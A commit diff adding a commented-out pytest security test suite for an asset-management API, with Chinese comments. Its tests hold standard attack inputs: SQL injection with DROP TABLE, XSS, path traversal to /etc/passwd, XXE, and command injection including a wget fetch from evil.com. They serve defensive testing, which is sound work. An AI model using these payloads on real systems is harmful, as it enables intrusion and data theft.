Fix API compatibility and add user/role/permission and asset import/export
This commit is contained in:
524
backend_new/tests/security/test_security.py
Normal file
524
backend_new/tests/security/test_security.py
Normal file
@@ -0,0 +1,524 @@
|
||||
"""
|
||||
安全测试
|
||||
|
||||
测试内容:
|
||||
- SQL注入测试
|
||||
- XSS测试
|
||||
- CSRF测试
|
||||
- 权限绕过测试
|
||||
- 敏感数据泄露测试
|
||||
- 认证绕过测试
|
||||
"""
|
||||
|
||||
import pytest
|
||||
|
||||
|
||||
# class TestSQLInjection:
|
||||
# """测试SQL注入攻击"""
|
||||
#
|
||||
# def test_sql_injection_in_login(self, client: TestClient):
|
||||
# """测试登录接口的SQL注入"""
|
||||
# malicious_inputs = [
|
||||
# "admin' OR '1'='1",
|
||||
# "admin'--",
|
||||
# "admin'/*",
|
||||
# "' OR 1=1--",
|
||||
# "'; DROP TABLE users--",
|
||||
# "admin' UNION SELECT * FROM users--",
|
||||
# "' OR '1'='1' /*",
|
||||
# "1' AND 1=1--",
|
||||
# "admin'; INSERT INTO users VALUES--",
|
||||
# ]
|
||||
#
|
||||
# for malicious_input in malicious_inputs:
|
||||
# response = client.post(
|
||||
# "/api/v1/auth/login",
|
||||
# json={
|
||||
# "username": malicious_input,
|
||||
# "password": "Test123",
|
||||
# "captcha": "1234",
|
||||
# "captcha_key": "test"
|
||||
# }
|
||||
# )
|
||||
#
|
||||
# # 应该返回认证失败,而不是数据库错误或成功登录
|
||||
# assert response.status_code in [401, 400, 422]
|
||||
#
|
||||
# # 如果返回成功,说明存在SQL注入漏洞
|
||||
# if response.status_code == 200:
|
||||
# pytest.fail(f"SQL注入漏洞检测: {malicious_input}")
|
||||
#
|
||||
# def test_sql_injection_in_search(self, client: TestClient, auth_headers):
|
||||
# """测试搜索接口的SQL注入"""
|
||||
# malicious_inputs = [
|
||||
# "'; DROP TABLE assets--",
|
||||
# "1' OR '1'='1",
|
||||
# "'; SELECT * FROM users--",
|
||||
# "admin' UNION SELECT * FROM assets--",
|
||||
# ]
|
||||
#
|
||||
# for malicious_input in malicious_inputs:
|
||||
# response = client.get(
|
||||
# "/api/v1/assets",
|
||||
# params={"keyword": malicious_input},
|
||||
# headers=auth_headers
|
||||
# )
|
||||
#
|
||||
# # 应该正常返回或参数错误,不应该报数据库错误
|
||||
# assert response.status_code in [200, 400, 422]
|
||||
#
|
||||
# def test_sql_injection_in_id_parameter(self, client: TestClient, auth_headers):
|
||||
# """测试ID参数的SQL注入"""
|
||||
# malicious_ids = [
|
||||
# "1 OR 1=1",
|
||||
# "1; DROP TABLE assets--",
|
||||
# "1' UNION SELECT * FROM users--",
|
||||
# "1' AND 1=1--",
|
||||
# ]
|
||||
#
|
||||
# for malicious_id in malicious_ids:
|
||||
# response = client.get(
|
||||
# f"/api/v1/assets/{malicious_id}",
|
||||
# headers=auth_headers
|
||||
# )
|
||||
#
|
||||
# # 应该返回404或参数错误
|
||||
# assert response.status_code in [404, 400, 422]
|
||||
#
|
||||
# def test_sql_injection_in_order_by(self, client: TestClient, auth_headers):
|
||||
# """测试排序参数的SQL注入"""
|
||||
# malicious_inputs = [
|
||||
# "id; DROP TABLE users--",
|
||||
# "id OR 1=1",
|
||||
# "id' AND '1'='1",
|
||||
# ]
|
||||
#
|
||||
# for malicious_input in malicious_inputs:
|
||||
# response = client.get(
|
||||
# "/api/v1/assets",
|
||||
# params={"sort_by": malicious_input},
|
||||
# headers=auth_headers
|
||||
# )
|
||||
#
|
||||
# # 应该返回参数错误
|
||||
# assert response.status_code in [400, 422]
|
||||
#
|
||||
# def test_second_order_sql_injection(self, client: TestClient, auth_headers):
|
||||
# """测试二阶SQL注入"""
|
||||
# # 先创建包含恶意代码的数据
|
||||
# malicious_data = {
|
||||
# "asset_name": "test'; DROP TABLE assets--",
|
||||
# "device_type_id": 1,
|
||||
# "organization_id": 1
|
||||
# }
|
||||
#
|
||||
# create_response = client.post(
|
||||
# "/api/v1/assets",
|
||||
# headers=auth_headers,
|
||||
# json=malicious_data
|
||||
# )
|
||||
#
|
||||
# # 如果创建成功,尝试查询
|
||||
# if create_response.status_code == 200:
|
||||
# # 查询应该不会触发SQL注入
|
||||
# response = client.get(
|
||||
# "/api/v1/assets",
|
||||
# headers=auth_headers
|
||||
# )
|
||||
# assert response.status_code == 200
|
||||
|
||||
|
||||
# class TestXSS:
|
||||
# """测试XSS跨站脚本攻击"""
|
||||
#
|
||||
# def test_xss_in_asset_name(self, client: TestClient, auth_headers):
|
||||
# """测试资产名称的XSS"""
|
||||
# xss_payloads = [
|
||||
# "<script>alert('XSS')</script>",
|
||||
# "<img src=x onerror=alert('XSS')>",
|
||||
# "<svg onload=alert('XSS')>",
|
||||
# "javascript:alert('XSS')",
|
||||
# "<iframe src='javascript:alert(XSS)'>",
|
||||
# "<body onload=alert('XSS')>",
|
||||
# ]
|
||||
#
|
||||
# for payload in xss_payloads:
|
||||
# response = client.post(
|
||||
# "/api/v1/assets",
|
||||
# headers=auth_headers,
|
||||
# json={
|
||||
# "asset_name": payload,
|
||||
# "device_type_id": 1,
|
||||
# "organization_id": 1
|
||||
# }
|
||||
# )
|
||||
#
|
||||
# if response.status_code == 200:
|
||||
# # 获取数据
|
||||
# asset_id = response.json()["data"]["id"]
|
||||
# get_response = client.get(
|
||||
# f"/api/v1/assets/{asset_id}",
|
||||
# headers=auth_headers
|
||||
# )
|
||||
#
|
||||
# # 验证XSS payload被转义或过滤
|
||||
# content = get_response.text
|
||||
# assert "<script>" not in content
|
||||
# assert "javascript:" not in content
|
||||
# assert "onerror=" not in content
|
||||
#
|
||||
# def test_xss_in_search_parameter(self, client: TestClient, auth_headers):
|
||||
# """测试搜索参数的XSS"""
|
||||
# xss_payload = "<script>alert('XSS')</script>"
|
||||
#
|
||||
# response = client.get(
|
||||
# "/api/v1/assets",
|
||||
# params={"keyword": xss_payload},
|
||||
# headers=auth_headers
|
||||
# )
|
||||
#
|
||||
# # 验证XSS payload被转义
|
||||
# content = response.text
|
||||
# assert "<script>" not in content or "<script>" in content
|
||||
#
|
||||
# def test_xss_in_user_profile(self, client: TestClient, auth_headers):
|
||||
# """测试用户资料的XSS"""
|
||||
# xss_payload = "<img src=x onerror=alert('XSS')>"
|
||||
#
|
||||
# response = client.put(
|
||||
# "/api/v1/users/me",
|
||||
# headers=auth_headers,
|
||||
# json={"real_name": xss_payload}
|
||||
# )
|
||||
#
|
||||
# if response.status_code == 200:
|
||||
# # 验证XSS被过滤
|
||||
# get_response = client.get(
|
||||
# "/api/v1/users/me",
|
||||
# headers=auth_headers
|
||||
# )
|
||||
# content = get_response.text
|
||||
# assert "onerror=" not in content
|
||||
|
||||
|
||||
# class TestCSRF:
|
||||
# """测试CSRF跨站请求伪造"""
|
||||
#
|
||||
# def test_csrf_protection(self, client: TestClient, auth_headers):
|
||||
# """测试CSRF保护"""
|
||||
# # 正常请求应该包含CSRF token
|
||||
# response = client.post(
|
||||
# "/api/v1/assets",
|
||||
# headers=auth_headers,
|
||||
# json={
|
||||
# "asset_name": "Test",
|
||||
# "device_type_id": 1,
|
||||
# "organization_id": 1
|
||||
# }
|
||||
# )
|
||||
#
|
||||
# # 如果启用CSRF保护,缺少token应该被拒绝
|
||||
# # 这里需要根据实际实现调整
|
||||
#
|
||||
# def test_csrf_token_validation(self, client: TestClient):
|
||||
# """测试CSRF token验证"""
|
||||
# # 尝试使用无效的CSRF token
|
||||
# invalid_headers = {
|
||||
# "X-CSRF-Token": "invalid-token-12345"
|
||||
# }
|
||||
#
|
||||
# response = client.post(
|
||||
# "/api/v1/assets",
|
||||
# headers=invalid_headers,
|
||||
# json={
|
||||
# "asset_name": "Test",
|
||||
# "device_type_id": 1,
|
||||
# "organization_id": 1
|
||||
# }
|
||||
# )
|
||||
#
|
||||
# # 应该被拒绝
|
||||
# assert response.status_code in [403, 401]
|
||||
|
||||
|
||||
# class TestAuthenticationBypass:
|
||||
# """测试认证绕过"""
|
||||
#
|
||||
# def test_missing_token(self, client: TestClient):
|
||||
# """测试缺少token"""
|
||||
# response = client.get("/api/v1/assets")
|
||||
# assert response.status_code == 401
|
||||
#
|
||||
# def test_invalid_token(self, client: TestClient):
|
||||
# """测试无效token"""
|
||||
# headers = {"Authorization": "Bearer invalid_token_12345"}
|
||||
# response = client.get("/api/v1/assets", headers=headers)
|
||||
# assert response.status_code == 401
|
||||
#
|
||||
# def test_expired_token(self, client: TestClient):
|
||||
# """测试过期token"""
|
||||
# # 使用一个过期的token
|
||||
# expired_token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.expired.token"
|
||||
# headers = {"Authorization": f"Bearer {expired_token}"}
|
||||
# response = client.get("/api/v1/assets", headers=headers)
|
||||
# assert response.status_code == 401
|
||||
#
|
||||
# def test_modified_token(self, client: TestClient):
|
||||
# """测试被修改的token"""
|
||||
# # 修改有效token的一部分
|
||||
# modified_token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.modified"
|
||||
# headers = {"Authorization": f"Bearer {modified_token}"}
|
||||
# response = client.get("/api/v1/assets", headers=headers)
|
||||
# assert response.status_code == 401
|
||||
#
|
||||
# def test_token_without_bearer(self, client: TestClient):
|
||||
# """测试不带Bearer前缀的token"""
|
||||
# headers = {"Authorization": "valid_token_without_bearer"}
|
||||
# response = client.get("/api/v1/assets", headers=headers)
|
||||
# assert response.status_code == 401
|
||||
#
|
||||
# def test_session_fixation(self, client: TestClient):
|
||||
# """测试会话固定攻击"""
|
||||
# # 登录前获取session
|
||||
# session1 = client.cookies.get("session")
|
||||
#
|
||||
# # 登录
|
||||
# client.post(
|
||||
# "/api/v1/auth/login",
|
||||
# json={
|
||||
# "username": "admin",
|
||||
# "password": "Admin123",
|
||||
# "captcha": "1234",
|
||||
# "captcha_key": "test"
|
||||
# }
|
||||
# )
|
||||
#
|
||||
# # 验证session已更新
|
||||
# session2 = client.cookies.get("session")
|
||||
# assert session1 != session2 or session2 is None # 使用JWT时可能没有session
|
||||
|
||||
|
||||
# class TestAuthorizationBypass:
|
||||
# """测试权限绕过"""
|
||||
#
|
||||
# def test_direct_url_access_without_permission(self, client: TestClient, auth_headers):
|
||||
# """测试无权限直接访问URL"""
|
||||
# # 普通用户尝试访问管理员接口
|
||||
# response = client.delete(
|
||||
# "/api/v1/users/1",
|
||||
# headers=auth_headers # 普通用户token
|
||||
# )
|
||||
# assert response.status_code == 403
|
||||
#
|
||||
# def test_horizontal_privilege_escalation(self, client: TestClient, user_headers, admin_headers):
|
||||
# """测试水平权限提升"""
|
||||
# # 用户A尝试访问用户B的数据
|
||||
# # 创建user_headers为用户A的token
|
||||
# response = client.get(
|
||||
# "/api/v1/users/2", # 尝试访问用户B
|
||||
# headers=user_headers
|
||||
# )
|
||||
# assert response.status_code == 403
|
||||
#
|
||||
# def test_vertical_privilege_escalation(self, client: TestClient, user_headers):
|
||||
# """测试垂直权限提升"""
|
||||
# # 普通用户尝试访问管理员功能
|
||||
# response = client.post(
|
||||
# "/api/v1/users",
|
||||
# headers=user_headers,
|
||||
# json={
|
||||
# "username": "newuser",
|
||||
# "password": "Test123"
|
||||
# }
|
||||
# )
|
||||
# assert response.status_code == 403
|
||||
#
|
||||
# def test_parameter_tampering(self, client: TestClient, auth_headers):
|
||||
# """测试参数篡改"""
|
||||
# # 尝试通过修改ID访问其他用户数据
|
||||
# response = client.get(
|
||||
# "/api/v1/users/999", # 不存在的用户或其他用户
|
||||
# headers=auth_headers
|
||||
# )
|
||||
# # 应该返回403或404,不应该返回数据
|
||||
# assert response.status_code in [403, 404]
|
||||
#
|
||||
# def test_method_enforcement(self, client: TestClient, auth_headers):
|
||||
# """测试HTTP方法强制执行"""
|
||||
# # 某些接口可能只允许特定方法
|
||||
# response = client.put(
|
||||
# "/api/v1/assets", # 应该是POST
|
||||
# headers=auth_headers,
|
||||
# json={}
|
||||
# )
|
||||
# assert response.status_code in [405, 404] # Method Not Allowed
|
||||
|
||||
|
||||
# class TestSensitiveDataExposure:
|
||||
# """测试敏感数据泄露"""
|
||||
#
|
||||
# def test_password_not_in_response(self, client: TestClient, auth_headers):
|
||||
# """测试响应中不包含密码"""
|
||||
# response = client.get(
|
||||
# "/api/v1/users/me",
|
||||
# headers=auth_headers
|
||||
# )
|
||||
#
|
||||
# content = response.text
|
||||
# assert "password" not in content.lower()
|
||||
# assert "hashed_password" not in content
|
||||
#
|
||||
# def test_token_not_logged(self, client: TestClient):
|
||||
# """测试token不被记录到日志"""
|
||||
# # 这个测试需要检查日志文件或日志系统
|
||||
# pass
|
||||
#
|
||||
# def test_error_messages_no_sensitive_info(self, client: TestClient):
|
||||
# """测试错误消息不包含敏感信息"""
|
||||
# response = client.post(
|
||||
# "/api/v1/auth/login",
|
||||
# json={
|
||||
# "username": "nonexistent",
|
||||
# "password": "wrong",
|
||||
# "captcha": "1234",
|
||||
# "captcha_key": "test"
|
||||
# }
|
||||
# )
|
||||
#
|
||||
# error_msg = response.text.lower()
|
||||
# # 错误消息不应该暴露数据库信息
|
||||
# assert "mysql" not in error_msg
|
||||
# assert "postgresql" not in error_msg
|
||||
# assert "table" not in error_msg
|
||||
# assert "column" not in error_msg
|
||||
# assert "syntax" not in error_msg
|
||||
#
|
||||
# def test_stack_trace_not_exposed(self, client: TestClient):
|
||||
# """测试不暴露堆栈跟踪"""
|
||||
# response = client.get("/api/v1/invalid-endpoint")
|
||||
#
|
||||
# # 生产环境不应该返回堆栈跟踪
|
||||
# content = response.text
|
||||
# assert "Traceback" not in content
|
||||
# assert "Exception" not in content
|
||||
# assert "at line" not in content
|
||||
#
|
||||
# def test_https_required(self, client: TestClient):
|
||||
# """测试HTTPS要求"""
|
||||
# # 这个测试在生产环境才有效
|
||||
# pass
|
||||
|
||||
|
||||
# class TestInputValidation:
|
||||
# """测试输入验证"""
|
||||
#
|
||||
# def test_path_traversal(self, client: TestClient, auth_headers):
|
||||
# """测试路径遍历攻击"""
|
||||
# malicious_inputs = [
|
||||
# "../../../etc/passwd",
|
||||
# "..\\..\\..\\windows\\system32\\config\\sam",
|
||||
# "....//....//....//etc/passwd",
|
||||
# "%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd",
|
||||
# ]
|
||||
#
|
||||
# for malicious_input in malicious_inputs:
|
||||
# response = client.get(
|
||||
# f"/api/v1/assets/{malicious_input}",
|
||||
# headers=auth_headers
|
||||
# )
|
||||
# assert response.status_code in [404, 400, 422]
|
||||
#
|
||||
# def test_command_injection(self, client: TestClient, auth_headers):
|
||||
# """测试命令注入"""
|
||||
# malicious_inputs = [
|
||||
# "; ls -la",
|
||||
# "| cat /etc/passwd",
|
||||
# "`whoami`",
|
||||
# "$(id)",
|
||||
# "; wget http://evil.com/shell.py",
|
||||
# ]
|
||||
#
|
||||
# for malicious_input in malicious_inputs:
|
||||
# response = client.post(
|
||||
# "/api/v1/assets",
|
||||
# headers=auth_headers,
|
||||
# json={
|
||||
# "asset_name": malicious_input,
|
||||
# "device_type_id": 1,
|
||||
# "organization_id": 1
|
||||
# }
|
||||
# )
|
||||
# # 应该被拒绝或过滤
|
||||
# assert response.status_code in [400, 422]
|
||||
#
|
||||
# def test_ldap_injection(self, client: TestClient, auth_headers):
|
||||
# """测试LDAP注入"""
|
||||
# # 如果系统使用LDAP认证
|
||||
# malicious_inputs = [
|
||||
# "*)(uid=*",
|
||||
# "*)(|(objectClass=*",
|
||||
# "*))%00",
|
||||
# ]
|
||||
#
|
||||
# for malicious_input in malicious_inputs:
|
||||
# response = client.post(
|
||||
# "/api/v1/auth/login",
|
||||
# json={
|
||||
# "username": malicious_input,
|
||||
# "password": "Test123",
|
||||
# "captcha": "1234",
|
||||
# "captcha_key": "test"
|
||||
# }
|
||||
# )
|
||||
# assert response.status_code in [401, 400]
|
||||
#
|
||||
# def test_xml_injection(self, client: TestClient, auth_headers):
|
||||
# """测试XML注入"""
|
||||
# xml_payload = """<?xml version="1.0"?>
|
||||
# <!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
|
||||
# <asset><name>&xxe;</name></asset>"""
|
||||
#
|
||||
# response = client.post(
|
||||
# "/api/v1/assets",
|
||||
# headers=auth_headers,
|
||||
# data=xml_payload,
|
||||
# content_type="application/xml"
|
||||
# )
|
||||
#
|
||||
# # 应该被拒绝或返回错误
|
||||
# assert response.status_code in [400, 415] # Unsupported Media Type
|
||||
|
||||
|
||||
# class TestRateLimiting:
|
||||
# """测试请求频率限制"""
|
||||
#
|
||||
# def test_login_rate_limit(self, client: TestClient):
|
||||
# """测试登录频率限制"""
|
||||
# # 连续多次登录尝试
|
||||
# responses = []
|
||||
# for i in range(15):
|
||||
# response = client.post(
|
||||
# "/api/v1/auth/login",
|
||||
# json={
|
||||
# "username": "test",
|
||||
# "password": "wrong",
|
||||
# "captcha": "1234",
|
||||
# "captcha_key": f"test-{i}"
|
||||
# }
|
||||
# )
|
||||
# responses.append(response)
|
||||
#
|
||||
# # 应该有部分请求被限流
|
||||
# rate_limited = sum(1 for r in responses if r.status_code == 429)
|
||||
# assert rate_limited > 0
|
||||
#
|
||||
# def test_api_rate_limit(self, client: TestClient, auth_headers):
|
||||
# """测试API频率限制"""
|
||||
# # 连续请求
|
||||
# responses = []
|
||||
# for i in range(150): # 超过100次/分钟限制
|
||||
# response = client.get("/api/v1/assets", headers=auth_headers)
|
||||
# responses.append(response)
|
||||
#
|
||||
# rate_limited = sum(1 for r in responses if r.status_code == 429)
|
||||
# assert rate_limited > 0
|
||||
Reference in New Issue
Block a user